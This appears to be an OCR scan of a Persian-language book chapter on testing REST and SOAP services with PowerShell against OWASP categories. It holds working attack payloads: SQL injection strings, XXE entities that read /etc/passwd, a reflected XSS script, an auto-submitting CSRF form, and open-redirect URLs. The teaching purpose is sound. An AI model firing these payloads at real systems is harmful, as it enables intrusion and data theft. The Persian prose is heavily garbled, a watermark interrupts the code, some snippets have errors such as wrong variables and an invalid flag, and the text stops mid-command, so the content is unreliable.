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The WEB, REST, and SOAP
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Web application security testing with PowerShell
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REST application security testing with PowerShell
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Encoding JSON and XML in PowerShell
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Encoding JSON in PowerShell
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Sdata = @{
Username = "ajcblyth"
PassCode = 9816 }

Ceoyd b glas, 4 PowerShell & Los sl cmdlet ConvertTo-Json ;i :Encode to JSON

..\....5 oolawl JSON
SjsonString = Sdata | ConvertTo-Json

5 Gee b oS aslol ConvertTo-Json & |, sancdB sl sl )b ol o :Optional Formatting
ales il 1) ol 5 9uS JyS 1 ISON (29,5 (anc

SjsonString = Sdata | ConvertTo-Json -Depth 2 -Pretty

Decoding JSON in PowerShell
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S b, (6,50 ace b LB HTTP culgs 0 G 511, JSON sleesls :Retrieve JSON Data

SjsonString = Invoke-RestMethod -Uri "https://snowcapcyber.com/
api/data" -Method GET

PowerShell _: < 4 JSON «.:, Decoding I, ConvertFrom-Json ;| :Decode JSON
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SdecodedData = SjsonString | ConvertFrom-Json

sals Decode i ;0 54590 slaosls & PowerShell Ss - i jo aile wilys o (5551 :Access Data

Sname = SdecodedData.Username
Sage = SdecodedData.PassCode

Encoding XML in PowerShell

50 XML glgie 4 leosls Encoding sly 0o oo ooliwl ools Jols (glp a5 conl (6,500 <o ,d XML
S Jlss |y »5 J=>1, PowerShell

105 oolewl XML s S5 ol 6l » New-Object ;i :Create an XML Object
Sxml = New-Object System.Xml.XmlIDocument
DS ol 1 o S5g g yolie 0l oo Lo 0usS 5 leesls L 1, XML oy :Add Data to XML

Sroot = Sxml.CreateElement("Person")
Sxml.AppendChild(Sroot)

Sname = Sxml.CreateElement("Username")
Sname.lnnerText = "ajcblyth"
Sroot.AppendChild(Sname)

Scode = Sxml.CreateElement("PassCode")
Scode.InnerText = "9816"
Sroot.AppendChild(Sage)

10,28 oolatwl ans, 4 XML o s sl OuterXml 554 51 :Convert XML to String
SxmlString = Sxml.OuterXml

Decoding XML in PowerShell
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S b, (6,50 e b BB HTTP cuilss 0 G 51 XML (slacsls :Retrieve XML Data
SxmlString = Get-Content -Path "userdetails.xml"

oolewl PowerShell XML o 6 j0 XML lassls (6,135,L ¢l LoadXml s ;) :Load XML

Sxml = New-Object System.Xml.XmIDocument
Sxml.LoadXml(SxmlString)

0wS gl il 5 roles XML acs 51 eosls aslgs oo jls & y90 4o :Access Data

Sname = Sxml.SelectSingleNode("//Username").InnerText
Scode = Sxml.SelectSingleNode("//PassCode").InnerText
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PowerShell and REST
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250 lgie oy o] g oS soliiwl G5 (634,9 ol sl o PowerShell ;1 ol . :Methodology

03 5200 )5 L NOSQL 5,5 SQAL (5,5 ssile 52,5 o pdyaa] Galojl 6l cuslss 0 S 5
ol 1y 53 SAL &, 5 cas b Jlie lgie a5 0sS L)

Suri = "https://api.snowcapcyber.com/resource"
SqueryParam = "inputValue' OR '1'='1"
Sresponse = Invoke-RestMethod -Uri "Suri?param=SqueryParam" -Method
GET
OWASP analysis — broken authentication
S ob, REST AP o 1) ad> &g pae g Cuga 5l,>1 :Objective

lagewl Judos g 4525 9 Cagn 5l glacwlss o L)l sl PowerShell ;1 ol . :Methodology
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Suri = "https:// api.snowcapcyber.com/authenticate"
Sheaders = @{
"Authorization" = "Basic <base64EncodedCredentials>" }
Sresponse = Invoke-RestMethod -Uri Suri -Method GET -Headers Sheaders
OWASP analysis — sensitive data exposure
e b 65 e )18 s oy ;0 APL lazul o ules sleesls LT as" oS L5, :Objective
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Suri = "https:// api.snowcapcyber.com/resource"
Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — XML External Entities (XXE)

S s RESTRUL (gla API o 1, XXE aisle XML b Lo 1o (slacs isenes] :Objective
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Juds g 4525 9 APl b O 30 XML slaosls Loyl sl o5 o POwerShell ;1 :Methodology
o XXE (el 1y 55 Gialesl Lo Jlie olsie 40,8 ooliasl bagely
Suri = "https://api.snowcapcyber.com/resource"
SxmlPayload = '<?xml version="1.0" encoding="UTF-8" ?><IDOCTYPE foo [
<IENTITY xxe SYSTEM "file:///etc/passwd"> |><foo>&xxe;</foo>'
Sheaders = @{
"Content-Type" = "application/xml" }

Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SxmlPayload

OWASP analysis — broken access control
4555 g 9 oolatwl jame alise gl b slacwlss o syl sl PowerShell 51 :Methodology
Jlie Glgie 4y b asdl alils g s dgaome polie 45wyl o jloee e )l IS LT as oS Sl g

Suri = "https://api.snowcapcyber.com/restricted-resource"
Sheaders = @{
"Authorization" = "Bearer <accessToken>" }
Sresponse = Invoke-RestMethod -Uri Suri -Method GET -Headers Sheaders

OWASP analysis — security misconfiguration

DS sl | APL o el s yol sun S :Objective

sloailis sl gl = 5 4525 5 lacwlys o Jl)l slp ol o PowerShell ;I :Methodology
13,5 oolaswl 5,8 i sladsl,lucl b LISl Debug ledlb] asle w0l (o ,Seo

Suri = "https://api.snowcapcyber.com/debug-info"
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Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — Cross-Site Scripting (XSS)

S s REST APL slagewls 4o 1, XSS slas pdseww! :Objective

SS oolaiwl Canlgs 1o j8 oyl Jl,l g o5 sbaogls sl! sl PowerShell ;1 :Methodology
@08 dos g 4550 | el Stored L Reflected g4 51 XSS (6 pdscan! 455 10 olubs sy
S syl 1, Reflected g4 51 XSS alys o o Jlie )lgie

Suri = "https://api.example.com/search"
SsearchQuery = '<script>alert("XSS");</script>'
Sresponse = Invoke-RestMethod -Uri "Suri?g=SsearchQuery" -Method GET

OWASP analysis — Cross-Site Request Forgery (CSRF)

S bl CSRF slas iyl 51, 1, API :Objective

Iy ol g asS olwl PowerShell jo CSRF slasgls b 1, o5 HTML wis :Methodology

S Az ) Jle oy S Sl

Shtml = @"
<html>
<body>
<form id="maliciousForm" action="https://api.snowcapcyber.com/
action" method="POST">
<input type="hidden" name="csrfToken" value="attackerToken">
</form>
<script>
document.getElementByld("maliciousForm").submit();
</script>

@ Securityworld.ir e AL ER SRS S




ES_PJ ey Uiy — 3945 Cuws (5l gl b ooluibT @

SECURITYWORLD

</body>
</html>
Il@

OWASP analysis — unvalidated redirects and forwards

QS GiolesT 1 AP jo el (sloolg 98 ¢ e o x5 :0bjective

6w 309,98 b s pois SLURL L slacelss o Jlo,l sl PowerShell ;1 :Methodology
WJle laie a3 b aas o 1) el ps yudd 03ll APL LT a8 0 Lo g 4525 9 0iS oolatwl ool
S GialesT 25 UK 40 1) ptnels (gl e ks ails oo

Suri = "https://api.snowcapcyber.com/redirect?url=http://malicious.

com
Sresponse = Invoke-RestMethod -Uri Suri -Method GET

OWASP analysis — insecure deserialization

2sS oLl APL s 1 Insecure Deserialization slas pdewn! :Objective

5 08 oolaiwl o5 Serialized (Lil b lacslys o Jls,l !, PowerShell ;1 :Methodology
WS axg p) Jle 4. w3 L oss Deserialization | ol oiS o (56 API LT a8 oS Jdow g 4550

Suri = "https://api.snowcapcyber.com/process-data"

SserializedPayload = "maliciousSerializedObject"

Sheaders = @{

"Content-Type" = "application/xml"}

Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SserializedPayload

U3, sl PowerShell ;s REST jl solarnl plla 3545 cuns slacdled ;10 OWASP o> 1> ailus
b aeo o o5l oS jole;l & PowerShell g3 Glasil ool (5,50 oy sloasl ool ol
OWASP 55500 3l 20 slags iy (lolid glp | laguasly 5 0ijlan (o5)law gloosly 5 laculss )
At 335 o SaS eyol (Sl Sl 5 dnngs & ol 53 o S Ll 5 4525 Top 10
S plxil plin 1) (IS sloJoalligiws 5 aulo 1) 0¥ lajsme a5 05 Jol> Lol
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PowerShell and SOAP

@ Wilg o S985 s 1o PowerShell ,s SOAP L, Simple Object Access Protocol ;i oslac!
OWASP Cgl> a0 Lo g 355 ool Qg o 50 3985 s 51, POowerShell ,o SOAP ;l solasu!

Lol 00 oo)ﬂ
OWASP analysis — injection

QS ielesl 1, SOAP Ty PR PG PES sl pdeaw! :0bjective

GialesT sl 1, SOAP sladsle alys oo 300 sl SS9, 48 &5 sl Lyl aiile Methodology
G5 lp ale s (Jle plsie 4 0 6 s 5,5 sl pdyea! plo L XML &5 SQL & )5
0iS ialoT 1y 3 08 SOAP ceulss s 5 0 SQL

Suri = "https://api.snowcapcyber.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmIns:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Login>
<web:username>' OR '1'='1</web:username>
<web:password>password</web:password>
</web:Login>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"

}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
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-Body SsoapPayload

OWASP analysis — XXE

2SS s SOAP LgL(a‘nl..:% o 1) XXE LgL(bL;ﬁ;\.;WT :Objective

ooyl sl 1) XML Gy slaosls ol o REST o XXE islesl wliwe :Methodology
1058 Lialel SOAP cnlgs 1o G jo 1) XXE 0l oo (Jle lgre 4 0S8 olou | XXE (slas pdsamn]

Suri = "http s://api.snowcap cyber.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="htt p://schemas.xml soap.org/soap/
envelope/" xmIns:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:ProcessXML>
<web:xmlInput><![CDATA[<!DOCTYPE foo [ <!ENTITY xxe SYSTEM
"fil e:///etc/passwd"> |><foo>&xxe;</foo>]]></web:xmlInput>
</web:ProcessXML>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — authentication bypass

395 590 LSL‘%S‘):’.;\:E.WT o el e slag L b SOAP slecwlgs o olul b :Methodology

S Glalesl 1) Gans Cuse 3l aslys ge (Jle Glgie 4 0 GialejT 1) cuge 5l
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Suri = "https://example.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmins:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Login>
<web:username>admin</web:username>
<web:password>password123</web:password>
</web:Login>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — insecure deserialization
S Lisle;1 SOAP slasls ,o 1, Insecure Deserialization slas pdscwl :Objective

o S opl yo 508 sleais; o Insecure Deserialization s, bl alin :Methodology

Sy g Lod o Jlie olyie 40,5 Jloy) s iyl Gialesl (sl 1y SOAP e slassly il
S Giolesl 1y 5 a8 SOAP cslgs 0 s o Insecure Deserialization

Suri = "https://example.com/soap-endpoint"

SsoapPayload = @"

<soapenv:Envelope
xmlins:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlins:web="http://www.example.com/webservice">
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<soapenv:Header/>
<soapenv:Body>
<web:ProcessData>
<web:data><![CDATA[O:8:"Example":1:{s:4:"data";s:10:"malicious";}]]></web:d
ata>
</web:ProcessData>
</soapenv:Body>
</soapenv:Envelope>
'@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"
}
Sresponse = Invoke-RestMethod -Uri Suri -Method POST -Headers Sheaders
-Body SsoapPayload

OWASP analysis — unvalidated redirects and forwards
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Suri = "https://example.com/soap-endpoint"
SsoapPayload = @"
<soapenv:Envelope xmlins:soapenv="http://schemas.xmlsoap.org/soap/
envelope/" xmins:web="http://www.example.com/webservice">
<soapenv:Header/>
<soapenv:Body>
<web:Redirect>
<web:url>https://malicious.com</web:url>
</web:Redirect>
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</soapenv:Body>
</soapenv:Envelope>
Il@
Sheaders = @{
"Content-Type" = "text/xml; charset=utf-8"

}

Sresponse = Invoke-R
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